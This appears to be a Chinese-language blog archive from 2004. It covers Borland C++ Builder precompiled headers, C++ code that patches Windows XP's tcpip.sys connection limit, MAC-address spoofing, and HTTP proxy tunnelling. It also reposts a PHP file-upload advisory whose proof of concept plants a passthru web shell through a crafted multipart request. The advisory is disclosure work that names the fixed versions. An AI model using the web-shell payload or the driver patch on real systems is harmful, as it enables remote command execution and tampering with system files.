大 家應該記得我們在做以上實驗的時候,都可以自己隨心所欲地刪除那些cache 檔,因此,個人認為1、2的做法比較不可能,而3、4是比較可行的方法。筆者自行用工具檢測每次編譯後registry是否有改變,結果發現 registry並沒有因此而改變;如果是使用編譯器內部的資料結構,那勢必只能針對每一個Project建構預先編譯資訊,可是後來筆者自己做了實驗後 發現,這些預先編譯的cache檔可以”跨Project”使用,也就是說不管是否存在同一個Project之中,這些cache檔是可以讓每個 Project共享,編譯器只關心預先編譯標記是否存在。然而當筆者自己使用UltraEdit開啟vcl50.csm以及vcl50.#??的時候,筆 者利用UltraEdit的搜尋功能去搜尋這兩個檔案裡面是否有類似 iostream 或是stdio 等字串之後,大致上可以推論出vcl50.csm比較類似的3的做法,而vcl50.#??比較類似4的做法,或許Borland的工程師兩種方法都有用 上吧! 由於欠缺更詳盡的資料,所以無法再做更詳盡的剖析,如果有讀者研究出結果,別忘了告訴大家喔!

最後,我們把編譯器在編譯原始碼時,編譯器所採用的編譯邏輯畫成下面這張流程圖。


預先編譯標記是怎麼回事?

前一段我們經由實驗證明了的確存在有預先編譯標記這個抽象的概念,可是預先編譯標記是根據什麼原則所產生的呢? 前面我們做的假設 — 編譯器指令#pragma hdrstop之前所有引入的標頭檔檔名所構成的集合稱做『預先編譯標記』,真的是如此嗎? 讓我們再做幾個小實驗來證明看看是否是我們假設的那樣。 我們分別修改程式碼5的內容,把編譯器指令#pragma hdrstop之前所引入的標頭檔做下面的調整:

■ 調整一 : 讓標頭檔檔名的大小寫不同
Unit1.cpp
Unit1.cpp
#include
#include
#include
#pragma hdrstop
#include
#include
#include
#pragma hdrstop
  ■ 測試結果:

編譯次數 編譯行數 編譯時間
第一次(build) 404451 12.92

■產生的cache檔:

vcl50.csm、vcl50.#00、vcl50.#01

■ 調整二 : 讓標頭檔排列順序不同
Unit1.cpp
Unit1.cpp
#include
#include
#include
#pragma hdrstop
#include
#include
#include
#pragma hdrstop
  ■ 測試結果:

編譯次數 編譯行數 編譯時間
第一次(build) 404451 11.12

■產生的cache檔:

vcl50.csm、vcl50.#00、vcl50.#01

■ 調整三 : 讓標頭檔檔名之間有空格
Unit1.cpp
Unit1.cpp
#include
#include
#include
#pragma hdrstop
#include
#include
#include
#pragma hdrstop
  ■ 測試結果:

編譯次數 編譯行數 編譯時間
第一次(build) 202251 5.40

■產生的cache檔:

vcl50.csm、vcl50.#00
從上面的三種調整程式碼後所測得的結論,我們可以得到以下結論: 預先編譯標記是由編譯器指令#pragma hdrstop之前所引入的標頭所決定的,而且兩個程式原始檔要構成”預先編譯標記相同”的條件是:
  1. 引入的標頭檔要完全相同
  2. 標頭檔的排列順序要正確
  3. 若有使用編譯器指令#define,其內容跟順序也都要相同(由2導出)
  4. 標頭檔檔名的大小寫也要一致(case-sensitive)
  5. 至於空白列存在與否,對預先編譯標記並不構成影響。
includeall.h
#include
#include
#include


然後把Unit1.cpp與Unit2.cpp各自修改成:

Unit1.cpp
#include “includeall.h”
#pragma hdrstop

#pragma argsused
int main(int argc, char* argv[])
{
cout << “Hello World” ;
return 0;
}

Unit2.cpp
#include “includeall.h”
#pragma hdrstop

#include “Unit2.h”
void test(void)
{
printf(“test”) ;
}

總而言之,就是除了空白行之外,每個檔案的#pragma hdrstop之前都要長的一模一樣才行,有一點不同就會造成預先編譯標記的不同。 所以我們可以說: 如果要讓pre-compiled heads技術發揮到最極限,則我們應該讓程式中的每一個程式原始檔都引入相同的標頭檔,即使該標頭檔裡面的函式在該程式原始檔之中沒有用到也要引入。喔 喔! 接下來一定會有人跟我抱怨: 『那我的Project裡頭有100個程式原始檔,每次我的任何一個程式原始檔裡面新引入了一個標頭檔,那麼我就要修正其他99個檔案,讓每個檔案引入的 標頭檔一致,那豈不是累壞了?』。由這個問題之中,我們引出了最佳解法,這個方法同時也可以加速我們在使用build(重頭到尾重新編譯)時,加速編譯速 度的方法,就是: 『把所有的 #include指令全部都搬到一個單一的標頭檔裡面,然後Project裡面的每個檔案都直接引入這個單一的標頭檔』,比方說我們可以在Project之中新增一個獨立的標頭檔,叫做includeall.h,這個檔案的內容如又右:

之後,只要任何時候某個程式原始檔需要引入某個標頭檔的時候,就一律修改includeall.h就可以了,這樣一來,就可以讓所有的程式原始檔都保有相同的預先編譯標記,讓pre-compiled headers技術發揮到最極限,而程式設計師也可以省下許多同步更新每個程式原始檔的時間。

當然還有更偷懶的人會問: 『為何不在includeall.h 之中直接把 #pragma hdrstop 寫進去呢?這樣不是我們可以在其他每一個程式原始檔裡面都少打這一行呀?』這個問題問的很好,筆者也是這樣一個懶惰的工程師,不過實際上試過之後,發現這樣子做是有問題的。編譯器的確有使用pre-compiled headers技術,但是,編譯器把所有的程式原始碼都看做有有不同的預先編譯標記,也就是說,如果Project之中有40個檔案都引入 ncludeall.h ,那麼就會產生40個cache,而且大小全部相同,這麼一來不但沒有讓編譯速度加快(因為幾乎每個程式原始檔都是重新徹底編譯),而且還因為要產生那麼多cache檔而浪費了整體時間,也浪費了硬碟空間,所請請讀者千萬不要把 #pragma hdrstop 寫到 includeall.h 裡面。

至於為何會發生這樣的事情呢?終於讓筆者在BCB的on-line help在解說#pragma hdrstop的地方找到下面這行:
“Use this pragma directive only in source files. The pragma has no effect when it is used in a header file.”
雖然沒有提到會有反效果,但是上面這行至少說明了把編譯器指令#pragma hdrstop放在標頭檔之中是沒有效果的(就算我們把附檔名從.h改成.cpp也沒有用)。


編譯器指令#pragma hdrstop之前只能放系統標頭檔嗎?

請大家回頭看看在這之前所有被我們用來測試的程式原始檔。拿程式碼5 來說,大家會發現,Unit2.cpp並沒有放在編譯器指令#pragma hdrstop之前,那麼是否代表筆者默認Unit2.cpp不能放在編譯器指令#pragma hdrstop之前呢? 讓我們來做個Project實驗組,程式碼如下:
■ 程式碼6-1:
Unit1.cpp
#include
#include
#include
#include “Unit2.h”
#pragma hdrstop

#pragma argsused
int main(int argc, char* argv[])
{
cout << “Hello World” ;
return 0;
}

Unit2.h
#ifndef Unit2H
#define Unit2H
void test(void) ;
#endif

Unit2.cpp
#include
#include
#include
#include “Unit2.h”
#pragma hdrstop

void test(void)
{
printf(“test”) ;
}

然後我們試著編譯看看。接著我們一個檔案都不要刪除,直接把Unit2.h與Unit2.cpp叫出來,把檔案內容改成:
■ 程式碼6-2:
Unit2.h
#ifndef Unit2H
#define Unit2H

void test(void) ;
void test1(void) ;
#endif

Unit2.cpp
#include
#include
#include
#include “Unit2.h”
#pragma hdrstop

void test(void)
{
printf(“test”) ;
}
void test1(void)
{
printf(“test1″) ;
}

再重新使用make編譯。
同理,我們也做一組完全相同的Project當作對照組,檔案內容幾乎完全相同,除了我們把#include “Unit2.h”放回編譯器指令#pragma hdrstop之後,我們也做跟上面實驗組Project相同的測試:
■ 程式碼7-1:
Unit1.cpp
#include
#include
#include
#pragma hdrstop
#include “Unit2.h”
#pragma argsused
int main(int argc, char* argv[])
{
cout << “Hello World” ;
return 0;
}

Unit2.h
#ifndef Unit2H
#define Unit2H
void test(void) ;
#endif

Unit2.cpp
#include
#include
#include
#pragma hdrstop
#include “Unit2.h”
void test(void)
{
printf(“test”) ;
}

  ■ 程式碼7-2:
Unit2.h
#ifndef Unit2H
#define Unit2H

void test(void) ;
void test1(void) ;
#endif

Unit2.cpp
#include
#include
#include
#pragma hdrstop
#include “Unit2.h”
void test(void)
{
printf(“test”) ;
}
void test1(void)
{
printf(“test1″) ;
}

我們把這兩次測試的結果列在下表:
Unit2.h在#pragma hdrstop之前

編譯次數 編譯行數 編譯時間
第一次(build)
程式碼6-1
202245 8.29
第二次(make)
程式碼6-1
0 0.14
第三次(make)
程式碼6-2
202253 9.16
Unit2.h在#pragma hdrstop之後

編譯次數 編譯行數 編譯時間
第一次(build)
程式碼7-1
202258 8.65
第二次(make)
程式碼7-1
0 0.16
第三次(make)
程式碼7-2
65 1.68

這個測試結果代表了什麼涵義呢?

  1. 這個測試結果並非只有系統標頭檔才能放在編譯器指令 #pragma hdrstop 之前,程式設計師自己定義的標頭檔也可以。
  2. 在標頭檔小小的更動會造成整個程式原始檔從頭到尾重新編譯,也使得編譯器重新產生新的cache檔(注意: 編譯器會覆蓋具有相同預先編譯標記的vcl50.#??檔,而非重新產生。其實這樣也無可厚非,否則Lib目錄下就會有好多具有相同預先編譯標記的cache檔,這樣可就糟糕了!)
在程式開發初期,程式標頭檔常常會被修改,可是系統標頭檔卻幾乎沒有人會去動到他們,所以在整個系統的函式介面或資料結構尚未穩定之前,儘量先不要把程式設計師自己定義的標頭檔放到編譯器指令 #pragma hdrstop 之前。因為這麼一來,非但沒有加速程式的編譯速度,反而因為預先編譯標記沒有改變,可是標頭檔內容卻變了,而迫使編譯器每次都要重新編譯這 些標頭檔並產生新的cache檔(而且還要先刪掉原先具有相同預先編譯標記的cache檔,使得整體編譯時間更長)。這個問題在我們的測試程式裡並不明 顯,可是讀者可以想像,如果今天我們是撰寫GUI程式,我們常常要修改Form上的元件和事件處理函式,每次一修改,勢必動到標頭檔(因為增添/刪除元 件,或是新增事件處理函式的時候都會讓該Unit對應的標頭檔改變),如果我們的Project裡頭有好多Form,那事情可就不妙了!! 所以在此筆者的建議是:
在程式設計初期,請先將這些程式設計師自行定義的標頭檔移到編譯器指令#pragma hdrstop之後(IDE所幫我們產生的Unit就是以此為預設情況),等到整個系統之中所有類別、函式介面、資料結構都大致底定的時候,再將這些標頭檔移到編譯器指令#pragma hdrstop之前,這樣效果就會好很多。


讓VCL相關標頭檔也能享受pre-compiled headers的好處

編譯行數
173358 行
編譯時間
4.05 秒
vcl50.csm的大小
7459 KB
Cache檔數目
2 個(vcl50.csm與vcl50.#00)

在這之前,所有的測試範例都是簡單的小程式。對各位讀者來說,雖然上面所得的結論非常有用,但是如果我們要開發的是一般的GUI程式呢? 讓我們來看看一個比較實際的例子。
我們利用 File/New Application重新建造一個GUI的windows應用程式,當我們按下make的時候,我們發現要編譯結果如下:

如果我們在Form上面放許多不同的元件,我們會發現,程式原始檔裡頭永遠都是只有#include ,只有標頭檔裡面才會新引入一些相關的hpp檔。所以如果我們要探究是否可以讓使用VCL標頭檔的程式編譯的速度更快,那我們要痛腦筋的地方就是vcl.h這個檔案囉! 於是我們開啟vcl.h,發現他只引入了vcl0.h,所以我們再打開vcl0.h,嘿嘿~~ 讓我們發現有趣的東西。
在vcl0.h裡面,我們看到幾個條件編譯式,如下:
// Database related headers
//
#if defined(INC_VCLDB_HEADERS)
#include < dbctrls.hpp >
#include < mask.hpp >
#include < db.hpp >
#include < dbtables.hpp >
#endif // INC_VCLDB_HEADERS

#if defined(INC_VCLEXT_HEADERS)
#include < Buttons.hpp >
#include < ChartFX.hpp >
#include < ComCtrls.hpp >
#include < DBCGrids.hpp >
#include < DBGrids.hpp >
#include < DBLookup.hpp >
#include < DdeMan.hpp >
#include < FileCtrl.hpp >
#include < GraphSvr.hpp >
#include < Grids.hpp >
#include < MPlayer.hpp >
#include < Mask.hpp >
#include < Menus.hpp >
#include < OleCtnrs.hpp >
#include < OleCtrls.hpp >
#include < Outline.hpp >
#include < Quickrpt.hpp >
#include < Tabnotbk.hpp >
#include < Tabs.hpp >
#include < VCFImprs.hpp >
#include < VCFrmla1.hpp >
#include < VCSpell3.hpp >
#endif // INC_ALLVCL_HEADERS

#if defined(INC_OLE_HEADERS)
#include < cguid.h >
#include < dir.h >
#include < malloc.h >
#include < objbase.h >
#include < ole2.h >
#include < shellapi.h >
#include < stddef.h >
#include < tchar.h >
#include < urlmon.h >
#include < AxCtrls.hpp >
#include < databkr.hpp >
#include < OleCtnrs.hpp >
#include < OleCtrls.hpp >
#endif

// Using ATLVCL.H
//
#if defined(INC_ATL_HEADERS)
#include < atl\atlvcl.h >
#endif

看到這些條件編譯式,再想到之前我們所提到的預先編譯標記,那麼聰明的讀者想到什麼事呢? 沒錯,如果我們把原始程式檔裡面原本的
#include
#pragma hdrstop

改成

#define INC_VCLDB_HEADERS
#define INC_VCLEXT_HEADERS
#define INC_OLE_HEADERS
#define INC_ATL_HEADERS

#include
#pragma hdrstop
我們使用build會得到下面結果
編譯行數
811680 行
編譯時間
15.07 秒
vcl50.csm的大小
22483 KB
Cache檔數目
2 個(vcl50.csm與vcl50.#00)

這個實驗結果也就告訴我們:

  1. 如果使用 #define INC_VCLDB_HEADERS 、 #define INC_VCLEXT_HEADERS 、#define INC_OLE_HEADERS 、 #define INC_ATL_HEADERS 可以要求編譯器把一些預設不預先編譯的的標頭檔也一起編譯進來,如此一來幾乎所有利用VCL撰寫windows程式所需的所有標頭檔都會被預先編譯。
  2. 如果沒有用到,那就儘量不要四個define都用上。比方說,如果我們沒有用到資料庫元件,那麼就不要使用 #define INC_VCLDB_HEADERS ;如果沒有用到ATL(Active Template library)相關功能,就不要使用 #define INC_ATL_HEADERS,因為如此一來,只會浪費多餘的時間編譯,同時也因為預先編譯了一些用不到的標頭檔,而使得cache變大,這樣也只是浪費硬碟空間罷了。


結論

綜合前面所有的分析和結論,筆者提供一個較好的解決方案,這個解決方案是修正來自前面段落中所提到『把所有的 #include指令全部都搬到一個單一的標頭檔裡面,然後Project裡面的每個檔案都直接引入這個單一的標頭檔』的概念而來,我們可以把includeall.h這個標頭檔的內容改成
includeall.h
#ifdef USE_VCLDB
#define INC_VCLDB_HEADERS
#endif

#ifdef USE_VCLEXT
#define INC_VCLEXT_HEADERS
#endif

#ifdef USE_OLE
#define INC_OLE_HEADERS
#endif

#ifdef USE_ATL
#define INC_ATL_HEADERS
#endif

#include < vcl.h >

#include < iostream.h >
#include < stdio.h >
#include < …其他要引入的系統標頭檔… >

#ifdef USE_USERDEF
#include “Unit1.h”
#include “Unit2.h”
#include “Unit3.h”
#include “…使用者自訂的標頭檔…”

#endif

這樣一來,以後我們在開發程式的時候,一開始便可以先不用把使用者自訂的標頭檔引入,一旦到了程式開發後期,我們只要使用 Project/Option裡的Directories/Conditionals次頁,在Conditionals的Edit Box裡面填上 USE_USERDEF就可以讓我們自訂的標頭檔都享受到pre-compiled headers技術的好處。同樣地,我們可以在此填入USE_VCLDB、USE_VCLEXT、USE_OLE、USE_ATL等定義,也可以讓VCL內部所有相關的標頭檔充分利用pre-compiled headers技術。如下圖:
其實有了這個對話盒,我們可以不用把includeall.h寫的如此複雜,只要寫成其實有了這個對話盒,我們可以不用把includeall.h寫的如此複雜,只要寫成:
includeall.h
#include < vcl.h >

#include < iostream.h >
#include < stdio.h >
#include < …其他要引入的系統標頭檔… >

#ifdef USE_USERDEF
#include “Unit1.h”
#include “Unit2.h”
#include “Unit3.h”
#include “…使用者自訂的標頭檔…”
#endif

然後直接在Directories/Conditionals次頁裡頭填上INC_VCLDB_HEADERS、INC_VCLEXT_HEADERS、INC_OLE_HEADERS、INC_ATL_HEADERS也是一樣的。
在結論的最後,要提醒各位讀者兩件再筆者撰寫這篇文章時的測試心得:
  1. 請不要把具有樣板(template) 標頭檔放在編譯器指令#pragma hdrstop之前,否則pre-compiled headers技術會失效。個人猜想這跟樣版的具現化(instantiation)有相當的關係。
  2. 如果標頭檔內具有常數定義(如: const int a = 3 ;) ,則則pre-compiled headers技術也同樣會失效,但是如果是常數宣告(如: const int a ;) 就沒有問題。


附註一: 啟動編譯器的pre-compiled headers功能

編譯器是否使用pre-compiled headers技術,可以由兩個地方決定:
  1. Projec t/ Option 的 Compiler次頁:

    如圖所示,預設的編譯器動作就是Cache pre-compiled headers,同時也可以指定cache的檔名。讀者可以按F1以求得更多的訊息,通常我們是不必去更動這個地方的設定。

  2. 命令列指令:

    當我們不使用IDE而直接使用命令列來編譯Project時,可以利用編譯器參數 -H / -Hu / -H- 來控制編譯器對pre-compiled headers的相關行為。

附註二:CB on-line help對#pragma hdrstop的解釋

請將滑鼠移到#pragma hdrstop的hdrstop上並按下F1,可以看到on-line help對這個編譯器指令的相關說明。
2004年10月03日
PHP File Upload Vulnerability POC

Title: Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File UploadAuthor: Stefano Di PaolaAffected: Php <= 5.0.1Not Affected: Maybe some old Version of Php before 4.2.xVulnerability Type:Possible write of a downloaded file in an arbitrary location.

Resources: Recently published on Bugtraq and VulnWatch

Description:

By forging an appropriate request for a Mime multipart/form-data file it is possible to set the "name" element value to an arbitrary filename if the name of $_FILES element contains a '_' (underscore) like "user_file" Let's use Example 34-2. Validating file uploads (changing 'userfile' to 'user_file') from http://www.php.net/manual/en/features.file-upload.php :

 -----file: upload.php------ <?php // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead // of $_FILES.

 $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['user_file']['name'];

 print "<pre>"; if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) { print "File is valid, and was successfully uploaded. "; print "Here's some more debugging info:\n"; print_r($_FILES); } else { print "Possible file upload attack! Here's some debugging info:\n"; print_r($_FILES); } print "</pre>";

 ?> ----end file: upload.php------

N.B. The is_uploaded_file php function has been added to proof that this check is bypassable.

Let's suppose that /var/www/html/ is writable by apache user (or any other dir in apache root).

$: (cat form)|nc 127.0.0.1 80

 <pre> File is valid, and was successfully uploaded. Here's some more debugging info:

 Array( [user_file] =>Array( [name] => ../html/passt.php [tmp_name] => /tmp/phpucjLV1 [error] => 0 [size] => 30 [type] => application/octet-stream ) )</pre>

where form is:

 -----8<---form-------8<----- POST /upload.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6) Gecko/20040115 Galeon/1.3.12 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: Content-Type: multipart/form-data; boundary=---------------------------1648318426118446961720965026 Content-Length: 395

 -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[name]123"; filename="p.php" Content-Type: ../html/passt.php

 <? passthru($_GET['cm']); ?>

 -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[type]123"; filename="vg" Content-Type: application/octet-stream

 <? passthru($_GET['cm']); ?>

 -----8<---endform----8<-----

By looking closely our request it can be noted that the name of uploaded file is going to be valued by 'Content-Type: ../html/passt.php' and not by filename='p.php'Second section is injected just to make things more 'normal', by allowing php interpreter to instanziate 'type' element, but it's just a matter of style...

And then let's verify that all went right:

 $: curl "127.0.0.1/passt.php?cm=id" uid=72(apache) gid=72(apache) groups=72(apache)

Done!The IssueThis vulnerability permits to bypass the sanitization php interpreter does on filename to remove prepended directories. So if the developer of a upload php script trust in php pre sanitization of input, a malicious user could use this flaw to upload a file in an arbitrary location. The issue is in the fact that, as can be seen in request, by playing with sqare brackets and by appending some non ']' at the end of the 'name' variable value, a malicious user can fool the array parser embedded in php interpreter, resulting in a different array from the expected one.

I won't go too deep in details on why this was possible (it's just a matter of debugging), but it should be enough to know that the parameter 'name' value in request ('user[file[element]123') is parsed firstly as a simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and then parameter is parsed again by php_register_variable and seen as an array.This flaw creates a incongruence in the type of the variable, that can be used to exploit the php upload script.Additional Topicsby playing with arrays of arrays and open square brackets I did a lot of thing but the *big* thing is this one.The SolutionThe most simple solution consists in downloading and installing php 5.0.2or 4.3.9 that have been released a couple of days ago.

An alternative solution is to check if $_FILES[]['name'] is really a stripped filename by using something like this: $filename=basename($_FILES[]['name']);

Florence, September the 26th 2004
2004年10月02日

//—————————————————————————

#include <vcl.h>
#pragma hdrstop

#include “Unit1.h”
#include <imagehlp.h>
//—————————————————————————
#pragma resource “*.dfm”
#pragma resource “xml.res”
TfrmBetter *frmBetter;
const int SP2TCPIPSIZE = 359040L;
const int SP2TCPIPPOS  = 0×4F322L;
//—————————————————————————
__fastcall TfrmBetter::TfrmBetter(TComponent* Owner)
    : TForm(Owner)
{
    FIsXP = false;
}
//—————————————————————————
String GetFileVersionString(LPTSTR pFile)
{
    if(pFile==NULL||pFile[0]==0) return String();
    DWORD Temp0 = 0, Temp1 = 0;
    DWORD dwSize = ::GetFileVersionInfoSize(pFile, &Temp0);
    if(dwSize==0) throw Exception(“Error Size!”);
    char* pVersion = new char[dwSize + 10];
    memset(pVersion, 0, dwSize + 10);
    if(!GetFileVersionInfo(pFile, 0, dwSize + 2, pVersion))
    {
        delete[] pVersion;
        throw Exception(“Error Version!”);
    }
    VS_FIXEDFILEINFO* pFixed = NULL;
    if(!VerQueryValue(pVersion, “\\”, (LPVOID*)&pFixed, (PUINT)&Temp1)
        ||pFixed==NULL||Temp1<sizeof(VS_FIXEDFILEINFO))
    {
        delete[] pVersion;
        throw Exception(“Error Value!”);
    }
    Temp0 = pFixed->dwFileVersionMS;
    Temp1 = pFixed->dwFileVersionLS;
    delete[] pVersion;
    return String().sprintf(“%u.%u.%u.%u”, (Temp0>>16), (Temp0&0xFFFF), (Temp1>>16), (Temp1&0xFFFF));
}
//—————————————————————————
DWORD SimpleGetFileSize(LPTSTR pFile)
{
    if(pFile==NULL||pFile[0]==0) return (DWORD)~0;
    HANDLE hFile = CreateFile(pFile, GENERIC_READ, FILE_SHARE_READ,
                              NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
                              NULL);
    if(hFile==NULL||hFile==INVALID_HANDLE_VALUE) return (DWORD)~0;
    DWORD dwSize = GetFileSize(hFile, NULL);
    CloseHandle(hFile);
    return dwSize;
}
//—————————————————————————
void __fastcall TfrmBetter::FormCreate(TObject *Sender)
{
    try
    {
        DetectSystemInformation();
    }
    catch(Exception& e)
    {
        MessageBox(NULL, e.Message.c_str(), “Error”, MB_OK|MB_ICONSTOP);
        Application->ShowMainForm = false;
        Application->Terminate();
    }
    catch(…)
    {
        Application->ShowMainForm = false;
        Application->Terminate();
    }
}
//—————————————————————————
/*detect system information, when return, means no error, else exception will be throwed!*/
void __fastcall TfrmBetter::DetectSystemInformation()
{
    //Detect System Information
    OSVERSIONINFO os = {0,};
    os.dwOSVersionInfoSize = sizeof(os);
    if(!GetVersionEx(&os)) throw Exception(“Fatal Error: Get System Information!”);
    FIsXP = (os.dwMajorVersion==5&&os.dwMinorVersion==1&&os.dwPlatformId==VER_PLATFORM_WIN32_NT);
    Memo1->Lines->Add(String().sprintf(“Operating System: Microsoft Windows %u.%u.%u %s”,
                                        os.dwMajorVersion, os.dwMinorVersion,
                                        os.dwBuildNumber, os.szCSDVersion));
    //Get tcpip.sys version string
    char    szFile[MAX_PATH + 128];
    memset(szFile, 0, sizeof(szFile));
    ::GetSystemDirectory(szFile, MAX_PATH);
    if(szFile[0]&&szFile[strlen(szFile)-1]!=’\\’)
    {
        strcat(szFile, “\\drivers\\tcpip.sys”);
    }
    else
    {
        strcat(szFile, “drivers\\tcpip.sys”);
    }
    if(!FileExists(szFile)) throw Exception(“tcpip.sys not found!”);
    String version = GetFileVersionString(szFile);
    Memo1->Lines->Add(String(“Version of tcpip.sys: “) + version);
    //Check tcpip.sys version is ok or force param is specified
    LPTSTR pCmd = GetCommandLine();
    if(version==”5.1.2600.2180″&&SimpleGetFileSize(szFile)==SP2TCPIPSIZE)
    {
        Memo1->Lines->Add(“SP2 tcpip.sys detected!”);
    }
    else if(pCmd&&strstr(pCmd, “/force”)!=NULL)
    {
        Memo1->Lines->Add(“Warning: tcpip.sys does not match, but /force is specified!”);
    }
    else
    {
        FIsXP = false;
        throw Exception(Memo1->Text + “\nThe version of tcpip.sys does not match! Operation Aborted!”);
    }
    //now, we start to detect current tcp/ip limitation
    HANDLE hFile = ::CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ, NULL,
                                OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile==NULL||hFile==INVALID_HANDLE_VALUE) throw Exception(“mmm….impossible”);
    if(::SetFilePointer(hFile, SP2TCPIPPOS, NULL, FILE_BEGIN)!=(DWORD)SP2TCPIPPOS)
    {
        ::CloseHandle(hFile);
        throw Exception(“Error: SetFilePointer!”);
    }
    DWORD dwRead = 0, dwValue = 0;
    if(::ReadFile(hFile, (LPVOID)&dwValue, sizeof(DWORD), &dwRead, NULL)&&dwRead==sizeof(DWORD))
    {
        edLimit->Text = dwValue;
    }
    ::CloseHandle(hFile);
    FIsXP    = true;
    FTCPIP    = szFile;
}
//—————————————————————————
void __fastcall TfrmBetter::btApplyClick(TObject *Sender)
{
    if(!FIsXP||FTCPIP.IsEmpty()) throw Exception(“not SP2!”);
    //backup a copy of the tcpip.sys
    ::CopyFile(FTCPIP.c_str(), (FTCPIP + “.old”).c_str(), TRUE);
    //get new value
    int nValue = StrToIntDef(edLimit->Text.Trim(), 120);
    if(nValue<=0||nValue>0×7FFFFFFE) nValue = 120;
    //first, we open the file for read/write
    HANDLE hFile = ::CreateFile(FTCPIP.c_str(),
                                GENERIC_READ|GENERIC_WRITE,
                                FILE_SHARE_READ,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if(hFile==NULL||hFile==INVALID_HANDLE_VALUE) throw Exception(“Invalid File!”);
    DWORD  dwSize = ::GetFileSize(hFile, NULL);
    if(dwSize==(DWORD)~0||dwSize<=(DWORD)(SP2TCPIPPOS + sizeof(DWORD)))
    {
        ::CloseHandle(hFile);
        throw Exception(“Invalid FileSize!”);
    }
    //second, map the file
    HANDLE hMap = ::CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL);
    ::CloseHandle(hFile);
    if(hMap==NULL||hMap==INVALID_HANDLE_VALUE) throw Exception(“Invalid Map!”);
    PVOID pFile = ::MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0);
    if(pFile==NULL)
    {
        ::CloseHandle(hMap);
        throw Exception(“Map File Error!”);
    }
    //third, change the tcp/ip limitation
    __try{memmove((char*)pFile + SP2TCPIPPOS, &nValue, sizeof(DWORD));}
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        ::UnmapViewOfFile(pFile);
        ::CloseHandle(hMap);
        throw Exception(“I/O Error!”);
    }
    //go with checksum
    DWORD Original = 0, New = 0;
    CheckSumMappedFile(pFile, dwSize, &Original, &New);
    PIMAGE_NT_HEADERS pHeader = ImageNtHeader(pFile);
    if(pHeader&&pHeader->OptionalHeader.CheckSum==Original
        &&memcmp(&pHeader->Signature, “PE\0\0″, 4)==0)
    {
        __try
        {
            pHeader->OptionalHeader.CheckSum = New;
        }
        __except(EXCEPTION_EXECUTE_HANDLER)
        {
            ::UnmapViewOfFile(pFile);
            ::CloseHandle(hMap);
            throw Exception(“I/O Error!”);
        }
    }
    UnmapViewOfFile(pFile);
    ::CloseHandle(hMap);
    //detect system information again
    Sleep(500);
    Memo1->Clear();
    edLimit->Text = “”;
    DetectSystemInformation();
    if(StrToIntDef(edLimit->Text.Trim(), 0)==nValue)
    {
        Memo1->Lines->Add(“Patch Successfully!”);
    }
    else
    {
        Memo1->Lines->Add(“Patch Failed!”);
    }
    Memo1->Lines->Add(“Restart your operating system is strongly recommended!”);
}
//—————————————————————————
/*
    http://bbs.bytelinker.com/ from BitSpirit
*/

这几天在家里玩,带个手提回去玩了,IBM R50E的, 想在家里上网,但是电信将网络跟网卡捆绑了,
只能用家里的电脑上的网卡上网,太晕了.打电话给电信也太不实际了,因为回学校后家里还要上
网,改来改去太麻烦了.
后来想了一下,总觉得哪里不对,为什么电信可以捆绑网卡呢,想来想去,认为是跟MAC地址捆绑了.
也就是说只要改一下MAC地址就行了,但是手提没连上网,靠工具是没戏了,麻烦的是硬件都是IBM
提供的.按网上针对WIN9X以及WINNT和WIN2000的好像都不行(NND,太不通用了).找了好久,终于
在网卡的高级属性中找到了一个自定义地址的选项.跟家里网卡改成一样的就搞定了.

修改MAC地址的文章可以参照我BLOG上面的一篇文章:
http://www.donews.net/zwell/articles/113261.aspx

方法简单的死,太哆嗦了,嘻嘻….不过确实是一个可行的办法…

2004年10月01日

——————————————————————————–
这篇文章贡献自Akash kava,   翻译: bugfree/CSDN
环境: VC6

※HTTP 隧道※
——–
HTTP 是基于文本的通过浏览器检索网页的协议。 大多数情况下你躲在代理服务器的后面,通过LAN接入互联网。 在IE的Connection Option中, 你给出你的LAN的设置。 这个代理服务器运行着基于文本的协议, 你从它那里可以得到外界的网络HTTP相关的数据。是的, 用HTTP通过它上面的小的望孔可以连接到外部世界, 并用二进制协议得到你想要的数据, 或者甚至是你的协议。 它通过HTTP。

※HTTPS 解释※
———
在HTTPS中, 数据以一种安全的方式从浏览器到服务器和从服务器到浏览器。 它是二进制的协议; 当他穿过代理时, 代理不知道是什么。 代理仅仅允许二进制流打开, 让服务器和客户两者之间交换数据。 代理服务器认为我们在进行某个安全的会话。

对于HTTPS, 你的浏览器连接到代理服务器,并送出一个命令

CONNECT neurospeech.com:443 HTTP/1.0 <CR><LF>
HOST neurospeech.com:443<CR><LF>
   【…如果需要,HTTP头部的其它行以<CR><LF>结束 】
<CR><LF>    // 最后的空行

接下来, 代理服务器把它作为某个HTTP安全会话, 打开一个到需求服务器和端口的二进制流。 如果连接确立, 代理服务器返回如下回应:

HTTP/1.0 200 Connection Established<CR><LF>
         【…忽略所有HTTP头部的其它行以<CR><LF>结束,】
<CR><LF>    // 最后的空行

现在, 浏览器连接到了终端服务器, 可以用二进制和安全的方式交换数据了。

※怎样做这个※
————-
现在是你的程序任务去愚弄代理服务器, 行为如IE一样进行 Secure HTTP。

1. Connect to Proxy Server first.
2. Issue CONNECT Host:Port HTTP/1.1<CR><LF>.
3. Issue <CR><LF>.
